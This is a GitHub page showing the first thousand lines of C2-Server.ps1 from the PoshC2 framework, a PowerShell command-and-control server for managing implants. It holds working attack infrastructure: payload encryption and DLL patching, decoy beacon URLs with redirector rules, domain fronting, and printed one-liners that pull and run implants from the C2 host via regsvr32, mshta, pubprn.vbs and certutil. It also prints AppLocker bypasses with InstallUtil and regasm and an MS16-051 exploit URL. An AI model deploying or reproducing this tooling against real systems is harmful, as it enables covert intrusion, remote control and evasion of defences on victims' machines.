-
Notifications
You must be signed in to change notification settings - Fork 140
/
C2-Server.ps1
1682 lines (1504 loc) · 71.8 KB
/
C2-Server.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# Written by @benpturner and @davehardy20
function C2-Server {
Param($PoshPath, $RestartC2Server)
# are we running with Administrator privileges to open port 80
If (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator'))
{
$arguments = "& '" + $myinvocation.mycommand.definition + "'"
Start-Process -FilePath powershell -Verb runAs -ArgumentList $arguments
Break
}
Clear-Host
Write-Host -Object "__________ .__. _________ ________ " -ForegroundColor Green
Write-Host -Object "\_______ \____ _____| |__ \_ ___ \ \_____ \ " -ForegroundColor Green
Write-Host -Object " | ___/ _ \/ ___/ | \ / \ \/ / ____/ " -ForegroundColor Green
Write-Host -Object " | | ( <_> )___ \| Y \ \ \____/ \ " -ForegroundColor Green
Write-Host -Object " |____| \____/____ >___| / \______ /\_______ \" -ForegroundColor Green
Write-Host -Object " \/ \/ \/ \/" -ForegroundColor Green
Write-Host "=============== v3.8 www.PoshC2.co.uk =============" -ForegroundColor Green
Write-Host "" -ForegroundColor Green
if (!$RestartC2Server) {
$PathExists = Test-Path $PoshPath
if (!$PathExists) {
$PoshPath = Read-Host "Cannot find the PowershellC2 directory, please specify path: "
}
}
# if poshpath ends with slash then remove this
$p = $env:PsModulePath
$p += ";$PoshPath"
[Environment]::SetEnvironmentVariable("PSModulePath",$p)
Import-Module -Name PSSQLite
$global:newdir = $null
$ipv4address = $null
$randomuriarray = @()
$taskiddb = 1
$exe = $false
Add-Type -TypeDefinition @"
using System;
using System.Text;
using System.Runtime.InteropServices;
public class FileClass
{
[DllImport("shlwapi", EntryPoint="PathSkipRoot")]
public static extern IntPtr PathSkipRoot(IntPtr lpszSrc);
public static string GetRoot(string Src) {
IntPtr cpyString = Marshal.StringToHGlobalAnsi(Src);
IntPtr pU = PathSkipRoot(cpyString);
string strName;
if (pU == IntPtr.Zero)
strName = null;
else
strName = Marshal.PtrToStringAnsi(pU);
Marshal.FreeHGlobal(cpyString);
return strName;
}
}
"@
# used to generate random uri for each implant
function Get-RandomURI
{
param (
[int]$Length
)
$set = 'abcdefghijklmnopqrstuvwxyz0123456789'.ToCharArray()
$result = ''
for ($x = 0; $x -lt $Length; $x++)
{$result += $set | Get-Random}
return $result
}
# creates a randon AES symetric encryption key
function Create-AesManagedObject
{
param
(
[Object]
$key,
[Object]
$IV
)
$aesManaged = New-Object -TypeName 'System.Security.Cryptography.RijndaelManaged'
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV)
{
if ($IV.getType().Name -eq 'String')
{$aesManaged.IV = [System.Convert]::FromBase64String($IV)}
else
{$aesManaged.IV = $IV}
}
if ($key)
{
if ($key.getType().Name -eq 'String')
{$aesManaged.Key = [System.Convert]::FromBase64String($key)}
else
{$aesManaged.Key = $key}
}
$aesManaged
}
# creates a randon AES symetric encryption key
function Create-AesKey()
{
$aesManaged = Create-AesManagedObject
$aesManaged.GenerateKey()
[System.Convert]::ToBase64String($aesManaged.Key)
}
# encryption utility using Rijndael encryption, an AES equivelant, returns encrypted bytes block
function Encrypt-String2
{
param
(
[Object]
$key,
[Object]
$unencryptedString
)
$unencryptedBytes = [system.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($unencryptedBytes, 0, $unencryptedBytes.Length)
$DeflateStream.Dispose()
$bytes = $CompressedStream.ToArray()
$CompressedStream.Dispose()
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$fullData
}
# decryption utility using Rijndael encryption, an AES equivelant, returns unencrypted bytes block
function Decrypt-String2 ($key, $bytes) {
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor()
$byteArray = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16)
$output = (New-Object IO.StreamReader ($(New-Object System.IO.Compression.GzipStream ($(New-Object IO.MemoryStream (,$byteArray)), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd()
$output
}
# encryption utility using Rijndael encryption, an AES equivelant, returns encrypted base64 block
function Encrypt-String
{
param
(
[Object]
$key,
[Object]
$unencryptedString
)
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
[byte[]] $fullData = $aesManaged.IV + $encryptedData
[System.Convert]::ToBase64String($fullData)
}
# decryption utility using Rijndael encryption, an AES equivelant, returns unencrypted UTF8 data
function Decrypt-String
{
param
(
[Object]
$key,
[Object]
$encryptedStringWithIV
)
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor()
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16)
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}
function Decrypt-Bytes($key, $bytes) {
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor()
$byteArray = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16)
$input = New-Object System.IO.MemoryStream( , $byteArray )
$output = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)
$gzipStream.CopyTo( $output )
$gzipStream.Close()
$input.Close()
[byte[]] $byteOutArray = $output.ToArray()
$byteOutArray
}
# download file function to convert from base64 in db to file
function Download-File
{
param
(
[string] $SourceFilePath
)
$SourceFilePath = Resolve-PathSafe $SourceFilePath
$bufferSize = 90000
$buffer = New-Object byte[] $bufferSize
$reader = [System.IO.File]::OpenRead($SourceFilePath)
$base64 = $null
$bytesRead = 0
do
{
$bytesRead = $reader.Read($buffer, 0, $bufferSize);
$base64 += ([Convert]::ToBase64String($buffer, 0, $bytesRead));
} while ($bytesRead -eq $bufferSize);
$base64
$reader.Dispose()
}
# converts a source base64 file to file (need to change to IO.Memory Reader)
function ConvertFrom-Base64
{
param
(
[string] $SourceFilePath,
[string] $TargetFilePath
)
$SourceFilePath = Resolve-PathSafe $SourceFilePath
$TargetFilePath = Resolve-PathSafe $TargetFilePath
$bufferSize = 90000
$buffer = New-Object char[] $bufferSize
$reader = [System.IO.File]::OpenText($SourceFilePath)
$writer = [System.IO.File]::OpenWrite($TargetFilePath)
$bytesRead = 0
do
{
$bytesRead = $reader.Read($buffer, 0, $bufferSize);
$bytes = [Convert]::FromBase64CharArray($buffer, 0, $bytesRead);
$writer.Write($bytes, 0, $bytes.Length);
} while ($bytesRead -eq $bufferSize);
$reader.Dispose()
$writer.Dispose()
}
# for resolving paths for file downloader
function Resolve-PathSafe
{
param
(
[string] $Path
)
$ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($Path)
}
function PatchDll {
param($dllBytes, $replaceString, $Arch, $offset)
if ($Arch -eq 'x86') {
$dllOffset = 0x00012F80
#$dllOffset = 0x00012ED0 +8
}
if ($Arch -eq 'x64') {
$dllOffset = 0x00017300
}
if($offset) {
$dllOffset = $offset
}
# Patch DLL - replace 8000 A's
$replaceStringBytes = ([System.Text.Encoding]::UNICODE).GetBytes($replaceString)
# Length of replacement code
$dllLength = $replaceString.Length
$patchLength = 8000 -$dllLength
$nullString = 0x00*$patchLength
$nullBytes = ([System.Text.Encoding]::UNICODE).GetBytes($nullString)
$nullBytes = $nullBytes[1..$patchLength]
$replaceNewStringBytes = ($replaceStringBytes+$nullBytes)
$dllLength = 16000 -2
$i=0
# Loop through each byte from start position
$dllOffset..($dllOffset + $dllLength) | % {
$dllBytes[$_] = $replaceNewStringBytes[$i]
$i++
}
# Return Patched DLL
return $DllBytes
}
# if the server has been restarted using the Restart-C2Server shortcut
if ($RestartC2Server)
{
$global:newdir = $RestartC2Server
$payload = Get-Content "$global:newdir\payloads\payload.bat"
Write-Host -Object "Using existing database and payloads: $global:newdir"
$Database = "$global:newdir\PowershellC2.SQLite"
$taskscompleted = Invoke-SqliteQuery -DataSource $Database -Query "SELECT CompletedTaskID FROM CompletedTasks" -As SingleValue
$c2serverresults = Invoke-SqliteQuery -DataSource $Database -Query "SELECT * FROM C2Server" -As PSObject
$defaultbeacon = $c2serverresults.DefaultSleep
$killdatefm = $c2serverresults.KillDate
$EncKey = $c2serverresults.EncKey
$ipv4address = $c2serverresults.HostnameIP
$DomainFrontHeader = $c2serverresults.DomainFrontHeader
$serverport = $c2serverresults.ServerPort
$shortcut = $c2serverresults.QuickCommand
$downloaduri = $c2serverresults.DownloadURI
$httpresponse = $c2serverresults.HTTPResponse
$enablesound = $c2serverresults.Sounds
$apikey = $c2serverresults.APIKEY
$mobilenumber = $c2serverresults.MobileNumber
$urlstring = $c2serverresults.URLS
$Socksurlstring = $c2serverresults.SocksURLS
$Insecure = $c2serverresults.Insecure
$useragent = $c2serverresults.UserAgent
$Referer = $c2serverresults.Referer
$downloadStub = $urlstring -split ","
$downloadStubURL = $downloadStub[1] -replace '"',''
$newImplant = $urlstring -split ","
$newImplantURL = $newImplant[0] -replace '"',''
$Host.ui.RawUI.WindowTitle = "PoshC2 Server: $ipv4address Port $serverport"
Write-Host `n"Listening on: $ipv4address Port $serverport (HTTP) | Kill date $killdatefm" `n -ForegroundColor Green
Write-Host "To quickly get setup for internal pentesting, run:"
write-host $shortcut `n -ForegroundColor green
write-Host "For a more stealthy approach, use SubTee's hidden gems, NOTE: These do not work with untrusted SSL certificates if using over HTTPS:"
write-host "regsvr32 /s /n /u /i:$($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)_rg scrobj.dll" -ForegroundColor green
write-host "cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs printers `"script:$($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)_cs`"" -ForegroundColor green
write-host "mshta.exe vbscript:GetObject(`"script:$($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)_cs`")(window.close)" -ForegroundColor green
write-host ""
write-Host "Or use Forshaw's DotNetToJS to obtain execution, NOTE: This does not work with untrusted SSL certificates if using over HTTPS:"
write-host "mshta.exe vbscript:GetObject(`"script:$($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)_js`")(window.close)" -ForegroundColor green
write-host "cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs printers `"script:$($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)_js`"" -ForegroundColor green
write-host ""
write-Host "To Bypass AppLocker or equivalent, use InstallUtil.exe or Regasm:"
write-host "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U $global:newdir\payloads\posh.exe" -ForegroundColor green
write-host "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U $global:newdir\payloads\posh.exe" -ForegroundColor green
write-host ""
write-Host "To exploit MS16-051 via IE9-11 use the following URL:"
write-host "$($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)_ms16-051" -ForegroundColor green
write-host ""
write-Host "To download PoshC2 InstallUtil/General executable use the following URL:"
write-host "cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs printers `"script:$($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)_df`"" -ForegroundColor green
write-host "certutil -urlcache -split -f $($ipv4address):$($serverport)/$($downloadStubURL)$($downloaduri)_iu %temp%\\$($downloaduri)_iu" -ForegroundColor green
write-host ""
#launch a new powershell session with the implant handler running
Start-Process -FilePath powershell.exe -ArgumentList " -NoP -Command import-module $PoshPath\Implant-Handler.ps1; Implant-Handler -FolderPath '$global:newdir' -PoshPath '$PoshPath'"
foreach ($task in $taskscompleted) {
$resultsdb = Invoke-SqliteQuery -DataSource $Database -Query "SELECT * FROM CompletedTasks WHERE CompletedTaskID=$task" -as PSObject
$ranuri = $resultsdb.RandomURI
$implantResults = Invoke-SqliteQuery -DataSource $Database -Query "SELECT * FROM Implants WHERE RandomURI='$ranuri'" -as PSObject
$implanthost = $implantResults.User
$impHost = $implantResults.Hostname
$impID = $implantResults.ImplantID
$impDom = $implantResults.Domain
if ($resultsdb)
{
if ($resultsdb.Command.tolower().startswith('get-screenshot')) {}
if ($resultsdb.Command.tolower().startswith('$shellcode')) {}
elseif ($resultsdb.Command.tolower().startswith('download-file')) {}
else
{
$Tasktime = $resultsdb.TaskID
Write-Host "Command issued against implant $impID on host $impHost $impDom ($TaskTime)" -ForegroundColor Yellow
Write-Host -Object $resultsdb.Command -ForegroundColor Green
Write-Host -Object $resultsdb.Output -ForegroundColor Green
}
$taskiddb ++
}
}
$newcount = $taskscompleted.Count
$taskiddb = $newcount+1
write-host "$newcount tasks completed before resuming the C2 server"
}
else
{
# determine if there are multiple network adaptors
$localipfull = Get-WmiObject -Query "select * from Win32_NetworkAdapterConfiguration where IPEnabled = $true" |
Select-Object -ExpandProperty IPAddress |
Where-Object -FilterScript {([Net.IPAddress]$_).AddressFamily -eq 'InterNetwork'}
if ($localipfull)
{
Write-Output -InputObject "IP found: $localipfull"
write-host ""
$prompt = Read-Host -Prompt "[1] Enter the IP address or Hostname of the Posh C2 server (External address if using NAT) [$($localipfull)]"
$ipv4address = ($localipfull,$prompt)[[bool]$prompt]
}
$uri="http://"
$prompthttpsdef = "Yes"
$prompthttps = Read-Host -Prompt "[2] Do you want to use HTTPS for implant comms? [Yes]"
$prompthttps = ($prompthttpsdef,$prompthttps)[[bool]$prompthttps]
if ($prompthttps -eq "Yes") {
$uri="https://"
$ipv4address = "https://"+$ipv4address
$promptssldefault = "Yes"
#detect if powershell < v4
$psver = $PSVersionTable.psversion.Major
if ($psver -lt '4') {
$promptssl = Read-Host -Prompt "[2a] Do you want PoshC2 to use default and permit self-signed SSL certificates [Yes]"
$promptssl = ($promptssldefault,$promptssl)[[bool]$promptssl]
if ($promptssl -eq "Yes") {
$Insecure = "YES"
CERTUTIL -f -p poshc2 -importpfx "$PoshPath\poshc2.pfx"
$thumb = "DE5ADA225693F8E0ED43453F3EB512CE96991747"
$Deleted = netsh.exe http delete sslcert ipport=0.0.0.0:443
$Added = netsh.exe http add sslcert ipport=0.0.0.0:443 certhash=$thumb "appid={00112233-4455-6677-8899-AABBCCDDEEFF}"
if ($Added = "SSL Certificate successfully added") {
$cert = netsh.exe http show sslcert ipport=0.0.0.0:443
}
} else {
$Insecure = "No"
Write-Error "Error adding the certificate"
Write-Host "`nEither install a self-signed cert using IIS Resource Kit as below
https://www.microsoft.com/en-us/download/details.aspx?id=17275
selfssl.exe /N:CN=HTTPS_CERT /K:1024 /V:7 /S:1 /P:443
or
Download and convert the PEM to PFX for windows import and import to personal:
openssl pkcs12 -inkey privkey.pem -in cert.pem -export -out priv.pfx
Grab the thumbprint:
dir cert:\localmachine\my|% { `$_.thumbprint}
Install using netsh:
netsh http delete sslcert ipport=0.0.0.0:443
netsh http add sslcert ipport=0.0.0.0:443 certhash=REPLACE `"appid={00112233-4455-6677-8899-AABBCCDDEEFF}`"
"
}
} else {
$promptssl = Read-Host -Prompt "[2a] Do you want PoshC2 to use default and permit self-signed SSL certificates [Yes]"
$promptssl = ($promptssldefault,$promptssl)[[bool]$promptssl]
if ($promptssl -eq "Yes") {
$Insecure = "YES"
$thumb = New-SelfSignedCertificate -certstorelocation cert:\localmachine\my -dnsname $ipv4address | select thumbprint -ExpandProperty thumbprint
$Deleted = netsh.exe http delete sslcert ipport=0.0.0.0:443
$Added = netsh.exe http add sslcert ipport=0.0.0.0:443 certhash=$thumb "appid={00112233-4455-6677-8899-AABBCCDDEEFF}"
if ($Added = "SSL Certificate successfully added") {
$cert = netsh.exe http show sslcert ipport=0.0.0.0:443
} else {
Write-Error "Error adding the certificate"
Write-Host "`nEither install a self-signed cert using IIS Resource Kit as below
https://www.microsoft.com/en-us/download/details.aspx?id=17275
selfssl.exe /N:CN=HTTPS_CERT /K:1024 /V:7 /S:1 /P:443
or
Download and convert the PEM to PFX for windows import and import to personal:
openssl pkcs12 -inkey privkey.pem -in cert.pem -export -out priv.pfx
Grab the thumbprint:
dir cert:\localmachine\my|% { `$_.thumbprint}
Install using netsh:
netsh http delete sslcert ipport=0.0.0.0:443
netsh http add sslcert ipport=0.0.0.0:443 certhash=REPLACE `"appid={00112233-4455-6677-8899-AABBCCDDEEFF}`"
"
}
} else {
$Insecure = "NO"
Write-Host "`nEither install a self-signed cert using IIS Resource Kit as below
https://www.microsoft.com/en-us/download/details.aspx?id=17275
selfssl.exe /N:CN=HTTPS_CERT /K:1024 /V:7 /S:1 /P:443
or
Download and convert the PEM to PFX for windows import and import to personal:
openssl pkcs12 -inkey privkey.pem -in cert.pem -export -out priv.pfx
Grab the thumbprint:
dir cert:\localmachine\my|% { `$_.thumbprint}
Install using netsh:
netsh http delete sslcert ipport=0.0.0.0:443
netsh http add sslcert ipport=0.0.0.0:443 certhash=REPLACE `"appid={00112233-4455-6677-8899-AABBCCDDEEFF}`"
"
}
}
$promptdomfrontdef = "No"
$promptdomfront = Read-Host -Prompt "[2b] Do you want to use domain fronting? [No]"
$promptdomfront = ($promptdomfrontdef,$promptdomfront)[[bool]$promptdomfront]
if ($promptdomfront -eq "Yes") {
$promptdomfront = Read-Host -Prompt "[2c] Please specify the host header for domain fronting?"
if ($promptdomfront) {
$domainfrontheader = $promptdomfront
}
}
$defaultserverport = 443
} else {
$ipv4address = "http://"+$ipv4address
$defaultserverport = 80
}
$apache = @"
RewriteEngine On
SSLProxyEngine On
SSLProxyCheckPeerCN Off
SSLProxyVerify none
SSLProxyCheckPeerName off
SSLProxyCheckPeerExpire off
Define PoshC2 <ADD_IPADDRESS_HERE>
Define SharpSocks <ADD_IPADDRESS_HERE>
"@
$customurldef = "No"
$customurl = Read-Host -Prompt "[3a] Do you want to customize the beacon URLs from the default? [No]"
$customurl = ($customurldef,$customurl)[[bool]$customurl]
if ($customurl -eq "Yes") {
$urls = @()
do {
$input = (Read-Host "Please enter the URLs you want to use, enter blank entry to finish: images/site/content")
if ($input -ne '') {$urls += "`"$input`""; $apache += "`nRewriteRule ^/$input(.*) $uri`${PoshC2}/$input`$1 [NC,L,P]"}
}
until ($input -eq '')
[string]$urlstring = $null
$urlstring = $urls -join ","
} else {
$urlstring = '"images/static/content/","news/","webapp/static/","images/prints/","wordpress/site/","steam/connect/","true/images/static/","holdings/office/images/","preferences/site/","okfn/website/blob/master/templates/","forums/review/","general/community/mega/","organisations/space/value/","trigger/may/","web/master/review/","premium/gov/pop/","usc/builder/power/master/","shopping/v/awe/pool/app/a/","pl/en/pages/","store/en/uk/pages/","plugins/domains/custom/uk/","gas/safe/register/","online/free/advice/","cookies/websites/content/","free/uk/shopping/unlimited/"'
$apache = @"
RewriteEngine On
SSLProxyEngine On
SSLProxyCheckPeerCN Off
SSLProxyVerify none
SSLProxyCheckPeerName off
SSLProxyCheckPeerExpire off
Define PoshC2 <ADD_IPADDRESS_HERE>
Define SharpSocks <ADD_IPADDRESS_HERE>
RewriteRule ^/images/static/content/(.*) $uri`${PoshC2}/images/static/content/`$1 [NC,L,P]
RewriteRule ^/news/(.*) $uri`${PoshC2}/news/`$1 [NC,L,P]
RewriteRule ^/webapp/static/(.*) $uri`${PoshC2}/webapp/static/`$1 [NC,L,P]
RewriteRule ^/images/prints/(.*) $uri`${PoshC2}/images/prints/`$1 [NC,L,P]
RewriteRule ^/wordpress/site/(.*) $uri`${PoshC2}/wordpress/site/`$1 [NC,L,P]
RewriteRule ^/true/images/(.*) $uri`${PoshC2}/true/images/`$1 [NC,L,P]
RewriteRule ^/holdings/office/images/(.*) $uri`${PoshC2}/holdings/office/images/`$1 [NC,L,P]
RewriteRule ^/steam/connect/(.*) $uri`${PoshC2}/steam/connect/`$1 [NC,L,P]
RewriteRule ^/preferences/site/(.*) $uri`${PoshC2}/preferences/site/`$1 [NC,L,P]
RewriteRule ^/okfn/website/blob/master/templates/(.*) $uri`${PoshC2}/okfn/website/blob/master/templates/`$1 [NC,L,P]
RewriteRule ^/forums/review/(.*) $uri`${PoshC2}/forums/review/`$1 [NC,L,P]
RewriteRule ^/general/community/mega/(.*) $uri`${PoshC2}/general/community/mega/`$1 [NC,L,P]
RewriteRule ^/organisations/space/value/(.*) $uri`${PoshC2}/organisations/space/value/`$1 [NC,L,P]
RewriteRule ^/trigger/may/(.*) $uri`${PoshC2}/trigger/may/`$1 [NC,L,P]
RewriteRule ^/web/master/review/(.*) $uri`${PoshC2}/web/master/review/`$1 [NC,L,P]
RewriteRule ^/premium/gov/pop/(.*) $uri`${PoshC2}/premium/gov/pop/`$1 [NC,L,P]
RewriteRule ^/usc/builder/power/master/(.*) $uri`${PoshC2}/usc/builder/power/master/`$1 [NC,L,P]
RewriteRule ^/shopping/v/awe/pool/app/a/(.*) $uri`${PoshC2}/shopping/v/awe/pool/app/a/`$1 [NC,L,P]
RewriteRule ^/pl/en/pages/(.*) $uri`${PoshC2}/pl/en/pages/`$1 [NC,L,P]
RewriteRule ^/store/en/uk/pages/(.*) $uri`${PoshC2}/store/en/uk/pages/`$1 [NC,L,P]
RewriteRule ^/plugins/domains/custom/uk/(.*) $uri`${PoshC2}/plugins/domains/custom/uk/`$1 [NC,L,P]
RewriteRule ^/gas/safe/register/(.*) $uri`${PoshC2}/gas/safe/register/`$1 [NC,L,P]
RewriteRule ^/online/free/advice/(.*) $uri`${PoshC2}/online/free/advice/`$1 [NC,L,P]
RewriteRule ^/cookies/websites/content/(.*) $uri`${PoshC2}/cookies/websites/content/`$1 [NC,L,P]
RewriteRule ^/free/uk/shopping/unlimited/(.*) $uri`${PoshC2}/free/uk/shopping/unlimited/`$1 [NC,L,P]
"@
}
$customurldef = "No"
$customurl = Read-Host -Prompt "[3b] Do you want to customize the beacon URLs from the Socks Proxy (SharpSocks)? [No]"
$customurl = ($customurldef,$customurl)[[bool]$customurl]
if ($customurl -eq "Yes") {
$urls = @()
do {
$input = (Read-Host "Please enter the URLs you want to use, enter blank entry to finish: images/site/content")
if ($input -ne '') {$urls += "`"$input`""; $apache += "`nRewriteRule ^/$input(.*) $uri`${SharpSocks}/$input`$1 [NC,P]"}
}
until ($input -eq '')
[string]$socksurlstring = $null
$socksurlstring = $urls -join ","
} else {
$socksurlstring = '"sitemap/api/push","visitors/upload/map","printing/images/bin/logo","update/latest/traffic","saml/stats/update/push"'
$apache += @"
RewriteRule ^/sitemap/api/push(.*) $uri`${SharpSocks}/sitemap/api/push`$1 [NC,L,P]
RewriteRule ^/visitors/upload/map(.*) $uri`${SharpSocks}/visitors/upload/map`$1 [NC,L,P]
RewriteRule ^/printing/images/bin/logo(.*) $uri`${SharpSocks}/printing/images/bin/logo`$1 [NC,L,P]
RewriteRule ^/update/latest/traffic(.*) $uri`${SharpSocks}/update/latest/traffic`$1 [NC,L,P]
RewriteRule ^/saml/stats/update/push(.*) $uri`${SharpSocks}/saml/stats/update/push`$1 [NC,L,P]
"@
}
$customuseragentdef = "No"
$customuseragent = Read-Host -Prompt "[4a] Do you want to customize the default UserAgent? [No]"
$customuseragent = ($customuseragentdef,$customuseragent)[[bool]$customuseragent]
if ($customuseragent -eq "Yes") {
$useragent = (Read-Host "Please enter the UserAgent you want to use: ")
} else {
$useragent = "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko"
}
$customreferer = "No"
$customuseragent = Read-Host -Prompt "[4b] Do you want to a referer header? [No]"
$customuseragent = ($customuseragentdef,$customuseragent)[[bool]$customuseragent]
if ($customuseragent -eq "Yes") {
$referer = (Read-Host "Please enter the Referer you want to use: ")
} else {
$referer = ""
}
$global:newdir = 'PoshC2-'+(get-date -Format yyy-MM-dd-HHmm)
$prompt = Read-Host -Prompt "[5] Enter a new folder name for this project [$($global:newdir)]"
$tempdir= ($global:newdir,$prompt)[[bool]$prompt]
$RootFolder = $PoshPath.TrimEnd("PowershellC2\")
$global:newdir = $RootFolder+"\"+$tempdir
$defbeacontime = "5s"
$prompt = Read-Host -Prompt "[6] Enter the default beacon time of the Posh C2 Server - 30s, 5m, 1h (10% jitter is always applied) [$($defbeacontime)]"
$defaultbeacon = ($defbeacontime,$prompt)[[bool]$prompt]
if ($defaultbeacon.ToLower().Contains('m')) {
$defaultbeacon = $defaultbeacon -replace 'm', ''
[int]$newsleep = $defaultbeacon
[int]$defaultbeacon = $newsleep * 60
}
elseif ($defaultbeacon.ToLower().Contains('h')) {
$defaultbeacon = $defaultbeacon -replace 'h', ''
[int]$newsleep1 = $defaultbeacon
[int]$newsleep2 = $newsleep1 * 60
[int]$defaultbeacon = $newsleep2 * 60
}
elseif ($defaultbeacon.ToLower().Contains('s')) {
$defaultbeacon = $defaultbeacon -replace 's', ''
} else {
$defaultbeacon = $defaultbeacon
}
$killdatedefault = (get-date).AddDays(14)
$killdatedefault = (get-date -date $killdatedefault -Format "dd/MM/yyyy")
$prompt = Read-Host -Prompt "[7] Enter the auto Kill Date of the implants in this format dd/MM/yyyy [$($killdatedefault)]"
$killdate = ($killdatedefault,$prompt)[[bool]$prompt]
